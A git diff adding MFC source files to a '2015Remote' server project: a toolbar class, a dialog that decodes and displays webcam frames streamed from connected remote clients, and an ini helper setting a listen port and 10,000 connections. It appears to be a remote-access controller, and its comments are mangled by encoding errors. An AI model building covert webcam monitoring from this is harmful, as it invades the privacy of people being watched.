|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CEdit m_EditTalk;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnBnClickedButtonTalk();
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg void OnClose();
|
||||
};
|
||||
138
server/2015Remote/TrueColorToolBar.cpp
Normal file
@@ -0,0 +1,138 @@
|
||||
/***=========================================================================
|
||||
==== ====
|
||||
==== D C U t i l i t y ====
|
||||
==== ====
|
||||
=============================================================================
|
||||
==== ====
|
||||
==== File name : TrueColorToolBar.cpp ====
|
||||
==== Project name : Tester ====
|
||||
==== Project number : --- ====
|
||||
==== Creation date : 13/1/2003 ====
|
||||
==== Author(s) : Dany Cantin ====
|
||||
==== ====
|
||||
==== Copyright ?DCUtility 2003 ====
|
||||
==== ====
|
||||
=============================================================================
|
||||
===========================================================================*/
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TrueColorToolBar.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#undef THIS_FILE
|
||||
static char THIS_FILE[] = __FILE__;
|
||||
#endif
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CTrueColorToolBar
|
||||
|
||||
CTrueColorToolBar::CTrueColorToolBar()
|
||||
{
|
||||
m_bDropDown = FALSE;
|
||||
}
|
||||
|
||||
CTrueColorToolBar::~CTrueColorToolBar()
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar)
|
||||
ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CTrueColorToolBar message handlers
|
||||
BOOL CTrueColorToolBar::LoadTrueColorToolBar(int nBtnWidth,
|
||||
UINT uToolBar,
|
||||
UINT uToolBarHot,
|
||||
UINT uToolBarDisabled)
|
||||
{
|
||||
if (!SetTrueColorToolBar(TB_SETIMAGELIST, uToolBar, nBtnWidth))
|
||||
return FALSE;
|
||||
|
||||
if (uToolBarHot) {
|
||||
if (!SetTrueColorToolBar(TB_SETHOTIMAGELIST, uToolBarHot, nBtnWidth))
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (uToolBarDisabled) {
|
||||
if (!SetTrueColorToolBar(TB_SETDISABLEDIMAGELIST, uToolBarDisabled, nBtnWidth))
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL CTrueColorToolBar::SetTrueColorToolBar(UINT uToolBarType,
|
||||
UINT uToolBar,
|
||||
int nBtnWidth)
|
||||
{
|
||||
CImageList cImageList;
|
||||
CBitmap cBitmap;
|
||||
BITMAP bmBitmap;
|
||||
|
||||
if (!cBitmap.Attach(LoadImage(AfxGetResourceHandle(), MAKEINTRESOURCE(uToolBar),
|
||||
IMAGE_BITMAP, 0, 0,
|
||||
LR_DEFAULTSIZE|LR_CREATEDIBSECTION)) ||
|
||||
!cBitmap.GetBitmap(&bmBitmap))
|
||||
return FALSE;
|
||||
|
||||
CSize cSize(bmBitmap.bmWidth, bmBitmap.bmHeight);
|
||||
int nNbBtn = cSize.cx/nBtnWidth;
|
||||
RGBTRIPLE* rgb = (RGBTRIPLE*)(bmBitmap.bmBits);
|
||||
COLORREF rgbMask = RGB(rgb[0].rgbtRed, rgb[0].rgbtGreen, rgb[0].rgbtBlue);
|
||||
|
||||
if (!cImageList.Create(nBtnWidth, cSize.cy, ILC_COLOR24|ILC_MASK, nNbBtn, 0))
|
||||
return FALSE;
|
||||
|
||||
if (cImageList.Add(&cBitmap, rgbMask) == -1)
|
||||
return FALSE;
|
||||
|
||||
SendMessage(uToolBarType, 0, (LPARAM)cImageList.m_hImageList);
|
||||
cImageList.Detach();
|
||||
cBitmap.Detach();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID)
|
||||
{
|
||||
if (!m_bDropDown) {
|
||||
GetToolBarCtrl().SendMessage(TB_SETEXTENDEDSTYLE, 0, (LPARAM)TBSTYLE_EX_DRAWDDARROWS);
|
||||
m_bDropDown = TRUE;
|
||||
}
|
||||
|
||||
SetButtonStyle(CommandToIndex(uButtonID), TBSTYLE_DROPDOWN);
|
||||
|
||||
stDropDownInfo DropDownInfo;
|
||||
DropDownInfo.pParent = pParent;
|
||||
DropDownInfo.uButtonID = uButtonID;
|
||||
DropDownInfo.uMenuID = uMenuID;
|
||||
m_lstDropDownButton.Add(DropDownInfo);
|
||||
}
|
||||
|
||||
void CTrueColorToolBar::OnToolbarDropDown(NMHDR * pnmtb, LRESULT *plr)
|
||||
{
|
||||
NMTOOLBARA * pnmtbb=(NMTOOLBARA *)pnmtb;
|
||||
for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) {
|
||||
|
||||
stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i);
|
||||
|
||||
if (DropDownInfo.uButtonID == UINT(pnmtbb->iItem)) {
|
||||
|
||||
CMenu menu;
|
||||
menu.LoadMenu(DropDownInfo.uMenuID);
|
||||
CMenu* pPopup = menu.GetSubMenu(0);
|
||||
|
||||
CRect rc;
|
||||
SendMessage(TB_GETRECT, (WPARAM)pnmtbb->iItem, (LPARAM)&rc);
|
||||
ClientToScreen(&rc);
|
||||
|
||||
pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
|
||||
rc.left, rc.bottom, DropDownInfo.pParent, &rc);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
81
server/2015Remote/TrueColorToolBar.h
Normal file
@@ -0,0 +1,81 @@
|
||||
/***=========================================================================
|
||||
==== ====
|
||||
==== D C U t i l i t y ====
|
||||
==== ====
|
||||
=============================================================================
|
||||
==== ====
|
||||
==== File name : TrueColorToolBar.h ====
|
||||
==== Project name : Tester ====
|
||||
==== Project number : --- ====
|
||||
==== Creation date : 13/1/2003 ====
|
||||
==== Author(s) : Dany Cantin ====
|
||||
==== ====
|
||||
==== Copyright ?DCUtility 2003 ====
|
||||
==== ====
|
||||
=============================================================================
|
||||
===========================================================================*/
|
||||
|
||||
|
||||
#ifndef TRUECOLORTOOLBAR_H_
|
||||
#define TRUECOLORTOOLBAR_H_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
|
||||
#include <afxtempl.h>
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CTrueColorToolBar
|
||||
|
||||
class CTrueColorToolBar : public CToolBar
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
CTrueColorToolBar();
|
||||
|
||||
// Attributes
|
||||
private:
|
||||
BOOL m_bDropDown;
|
||||
|
||||
struct stDropDownInfo {
|
||||
public:
|
||||
UINT uButtonID;
|
||||
UINT uMenuID;
|
||||
CWnd* pParent;
|
||||
};
|
||||
|
||||
CArray <stDropDownInfo, stDropDownInfo&> m_lstDropDownButton;
|
||||
|
||||
// Operations
|
||||
public:
|
||||
BOOL LoadTrueColorToolBar(int nBtnWidth,
|
||||
UINT uToolBar,
|
||||
UINT uToolBarHot = 0,
|
||||
UINT uToolBarDisabled = 0);
|
||||
|
||||
void AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID);
|
||||
|
||||
private:
|
||||
BOOL SetTrueColorToolBar(UINT uToolBarType,
|
||||
UINT uToolBar,
|
||||
int nBtnWidth);
|
||||
|
||||
// Implementation
|
||||
public:
|
||||
virtual ~CTrueColorToolBar();
|
||||
|
||||
// Generated message map functions
|
||||
protected:
|
||||
afx_msg void OnToolbarDropDown(NMHDR * pnmh, LRESULT* plRes);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
//{{AFX_INSERT_LOCATION}}
|
||||
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||
|
||||
#endif // TRUECOLORTOOLBAR_H_
|
||||
242
server/2015Remote/VideoDlg.cpp
Normal file
@@ -0,0 +1,242 @@
|
||||
// VideoDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "VideoDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
enum
|
||||
{
|
||||
IDM_SAVEAVI, // <20><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC>
|
||||
};
|
||||
// CVideoDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CVideoDlg, CDialog)
|
||||
|
||||
CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: CDialog(CVideoDlg::IDD, pParent)
|
||||
{
|
||||
m_ContextObject = ContextObject;
|
||||
m_iocpServer = IOCPServer;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
m_pVideoCodec = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> <20>ҿ<EFBFBD>
|
||||
sockaddr_in ClientAddress;
|
||||
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
||||
int iClientAddressLength = sizeof(ClientAddress);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
|
||||
m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";
|
||||
|
||||
m_BitmapData_Full = NULL;
|
||||
m_BitmapCompressedData_Full = NULL;
|
||||
ResetScreen();
|
||||
}
|
||||
|
||||
|
||||
void CVideoDlg::ResetScreen(void)
|
||||
{
|
||||
if (m_BitmapInfor_Full)
|
||||
{
|
||||
delete m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
int iBitMapInforSize = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
||||
m_BitmapInfor_Full = (LPBITMAPINFO) new BYTE[iBitMapInforSize];
|
||||
memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), iBitMapInforSize);
|
||||
|
||||
m_BitmapData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
|
||||
m_BitmapCompressedData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
|
||||
}
|
||||
|
||||
CVideoDlg::~CVideoDlg()
|
||||
{
|
||||
if (m_pVideoCodec)
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
|
||||
if (m_BitmapData_Full)
|
||||
{
|
||||
delete m_BitmapData_Full;
|
||||
m_BitmapData_Full = NULL;
|
||||
}
|
||||
|
||||
if (m_BitmapInfor_Full)
|
||||
{
|
||||
delete m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
if (m_BitmapCompressedData_Full)
|
||||
{
|
||||
delete m_BitmapCompressedData_Full;
|
||||
m_BitmapCompressedData_Full = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void CVideoDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CVideoDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SYSCOMMAND()
|
||||
ON_WM_PAINT()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CVideoDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CVideoDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||
if (SysMenu != NULL)
|
||||
{
|
||||
m_hDD = DrawDibOpen();
|
||||
|
||||
m_hDC = ::GetDC(m_hWnd);
|
||||
|
||||
SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>(&V)");
|
||||
|
||||
CString strString;
|
||||
|
||||
strString.Format("%s - <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD> %d<><64>%d", m_strIPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
|
||||
SetWindowText(strString);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
void CVideoDlg::OnClose()
|
||||
{
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
}
|
||||
|
||||
void CVideoDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_WEBCAM_DIB:
|
||||
{
|
||||
DrawDIB();//<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>뿴һ<EBBFB4><D2BB>
|
||||
break;
|
||||
}
|
||||
default:
|
||||
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CVideoDlg::DrawDIB(void)
|
||||
{
|
||||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||
if (SysMenu == NULL)
|
||||
return;
|
||||
|
||||
int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
|
||||
UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||
if (szBuffer[1] == 0) // û<>о<EFBFBD><D0BE><EFBFBD>H263ѹ<33><D1B9><EFBFBD><EFBFBD>ԭʼ<D4AD><CABC><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>
|
||||
{
|
||||
// <20><>һ<EFBFBD>Σ<EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD>֧<EFBFBD><D6A7>ָ<EFBFBD><D6B8><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>
|
||||
/* if (m_nCount == 1)
|
||||
{
|
||||
pSysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||||
}
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
|
||||
memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);*/
|
||||
}
|
||||
|
||||
else // <20><><EFBFBD><EFBFBD>
|
||||
{
|
||||
////<2F><><EFBFBD>ﻺ<EFBFBD><EFBBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵĵڶ<C4B5><DAB6><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
|
||||
InitCodec(*(LPDWORD)(szBuffer + 2)); //<2F>ж<EFBFBD>
|
||||
if (m_pVideoCodec != NULL)
|
||||
{
|
||||
//pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
|
||||
memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //<2F><>Ƶû<C6B5>н<EFBFBD>ѹ
|
||||
//<2F><><EFBFBD>↑ʼ<EFBFAA><CABC><EFBFBD>룬<EFBFBD><EBA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬδѹ<CEB4><D1B9><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD> <20><>ʾ<EFBFBD><CABE><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ϡ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>avi<76><69>ʽ
|
||||
m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen,
|
||||
(LPBYTE)m_BitmapData_Full, NULL, NULL); //<2F><><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݽ<EFBFBD>ѹ<EFBFBD><D1B9>m_lpScreenDIB
|
||||
|
||||
/* m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen,
|
||||
(LPBYTE)m_lpScreenDIB, NULL, NULL); //<2F><><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݽ<EFBFBD>ѹ<EFBFBD><D1B9>m_lpScreenDIB*/
|
||||
}
|
||||
}
|
||||
|
||||
PostMessage(WM_PAINT);
|
||||
}
|
||||
|
||||
|
||||
void CVideoDlg::InitCodec(DWORD fccHandler)
|
||||
{
|
||||
if (m_pVideoCodec != NULL)
|
||||
return;
|
||||
|
||||
m_pVideoCodec = new CVideoCodec;
|
||||
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD>ʽ ƥ<><C6A5><EFBFBD><EFBFBD>
|
||||
{
|
||||
OutputDebugStringA("======> InitCompressor failed \n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
switch (nID)
|
||||
{
|
||||
case IDM_SAVEAVI:
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
|
||||
|
||||
void CVideoDlg::OnPaint()
|
||||
{
|
||||
CPaintDC dc(this); // device context for painting
|
||||
|
||||
if (m_BitmapData_Full==NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
RECT rect;
|
||||
GetClientRect(&rect);
|
||||
|
||||
DrawDibDraw
|
||||
(
|
||||
m_hDD,
|
||||
m_hDC,
|
||||
0, 0,
|
||||
rect.right, rect.bottom,
|
||||
(LPBITMAPINFOHEADER)m_BitmapInfor_Full,
|
||||
m_BitmapData_Full,
|
||||
0, 0,
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight,
|
||||
DDF_SAME_HDC
|
||||
);
|
||||
}
|
||||
177
server/2015Remote/VideoDlg.h
Normal file
@@ -0,0 +1,177 @@
|
||||
#pragma once
|
||||
|
||||
#include "IOCPServer.h"
|
||||
|
||||
|
||||
#include <Vfw.h>
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
class CVideoCodec
|
||||
{
|
||||
COMPVARS m_cv;
|
||||
HIC m_hIC;
|
||||
BITMAPINFO* m_lpbmiInput;
|
||||
BITMAPINFO m_bmiOutput;
|
||||
public:
|
||||
|
||||
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
|
||||
{
|
||||
if (lpbmi == NULL)
|
||||
return false;
|
||||
|
||||
m_lpbmiInput = lpbmi;
|
||||
|
||||
ZeroMemory(&m_cv, sizeof(m_cv));
|
||||
m_cv.cbSize = sizeof(m_cv);
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.fccType = ICTYPE_VIDEO;
|
||||
m_cv.fccHandler = fccHandler;
|
||||
m_cv.lpbiOut = NULL;
|
||||
m_cv.lKey = 10;
|
||||
m_cv.lDataRate = 6;
|
||||
m_cv.lQ = ICQUALITY_HIGH;
|
||||
|
||||
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
|
||||
|
||||
if (m_hIC == NULL)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤
|
||||
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
|
||||
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
|
||||
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
|
||||
{
|
||||
if(!pin || !pout ||!m_hIC)
|
||||
return false;
|
||||
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
|
||||
return false;
|
||||
|
||||
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
|
||||
{
|
||||
BYTE *p;
|
||||
long s = 1;
|
||||
BOOL k = true;
|
||||
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
|
||||
return false;
|
||||
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
|
||||
|
||||
if (!p) return false;
|
||||
if (lenr) *lenr = s;
|
||||
if (pKey) *pKey = k;
|
||||
|
||||
CopyMemory(pout, p, s);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
CVideoCodec()
|
||||
{
|
||||
m_lpbmiInput = NULL;
|
||||
}
|
||||
|
||||
virtual ~CVideoCodec()
|
||||
{
|
||||
// No init yet or init error
|
||||
if (m_hIC == NULL)
|
||||
return;
|
||||
ICDecompressEnd(m_hIC);
|
||||
ICSeqCompressFrameEnd(&m_cv);
|
||||
ICCompressorFree(&m_cv);
|
||||
ICClose(m_hIC);
|
||||
}
|
||||
int MyEnumCodecs(int *fccHandler, char *strName)
|
||||
{
|
||||
static int i = 0;
|
||||
int nRet = 1;
|
||||
HIC hIC;
|
||||
ICINFO icInfo;
|
||||
|
||||
if (fccHandler == NULL)
|
||||
return 0;
|
||||
|
||||
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo))
|
||||
{
|
||||
i = 0;
|
||||
return 0;
|
||||
}
|
||||
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
|
||||
|
||||
if (hIC)
|
||||
{
|
||||
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
|
||||
*fccHandler = icInfo.fccHandler;
|
||||
//<2F><><EFBFBD>ڵõ<DAB5><C3B5><EFBFBD>szDescription<6F><6E>UNICODE˫<45>ֽ<EFBFBD><D6BD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫת<D2AA><D7AA>ΪASCII<49><49>
|
||||
if (strName != NULL)
|
||||
wcstombs(strName, icInfo.szDescription, 256);
|
||||
}
|
||||
else nRet = -1;
|
||||
|
||||
ICClose(hIC);
|
||||
i++;
|
||||
return nRet;
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
// CVideoDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CVideoDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CVideoDlg)
|
||||
|
||||
public:
|
||||
CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CVideoDlg();
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
CString m_strIPAddress;
|
||||
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
BYTE* m_BitmapData_Full;
|
||||
BYTE* m_BitmapCompressedData_Full;
|
||||
void CVideoDlg::ResetScreen(void);
|
||||
void CVideoDlg::OnReceiveComplete(void);
|
||||
void CVideoDlg::DrawDIB(void);
|
||||
|
||||
void CVideoDlg::InitCodec(DWORD fccHandler);
|
||||
|
||||
HDC m_hDC;
|
||||
HDRAWDIB m_hDD;
|
||||
|
||||
CVideoCodec *m_pVideoCodec; // <20><>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_VIDEO };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
afx_msg void OnPaint();
|
||||
};
|
||||
63
server/2015Remote/iniFile.cpp
Normal file
@@ -0,0 +1,63 @@
|
||||
#include "StdAfx.h"
|
||||
#include "iniFile.h"
|
||||
|
||||
iniFile::iniFile(void)
|
||||
{
|
||||
ContructIniFile();
|
||||
}
|
||||
|
||||
BOOL iniFile::ContructIniFile()
|
||||
{
|
||||
char szFilePath[MAX_PATH] = {0};
|
||||
char* FindPoint = NULL;
|
||||
|
||||
::GetModuleFileName(NULL, szFilePath, sizeof(szFilePath));
|
||||
|
||||
FindPoint = strrchr(szFilePath,'.');
|
||||
if (FindPoint!=NULL)
|
||||
{
|
||||
*FindPoint = '\0';
|
||||
strcat(szFilePath,".ini");
|
||||
}
|
||||
|
||||
m_IniFilePath = szFilePath; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <20>鿴 һ<><D2BB><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD> IniFileName
|
||||
|
||||
HANDLE hFile = CreateFileA(m_IniFilePath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); //ͬ<><CDAC> <20>첽
|
||||
|
||||
if (hFile==INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ULONG ulLow = GetFileSize(hFile,NULL);
|
||||
|
||||
if (ulLow>0)
|
||||
{
|
||||
CloseHandle(hFile);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hFile);
|
||||
|
||||
WritePrivateProfileString("Settings", "ListenPort","2356",m_IniFilePath);
|
||||
WritePrivateProfileString("Settings", "MaxConnection","10000",m_IniFilePath);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int iniFile::GetInt(CString MainKey,CString SubKey) //"Setting" "ListenPort"
|
||||
{
|
||||
return ::GetPrivateProfileInt(MainKey, SubKey,0,m_IniFilePath);
|
||||
}
|
||||
|
||||
BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data)//8888
|
||||
{
|
||||
CString strData;
|
||||
strData.Format("%d", Data); //2356
|
||||
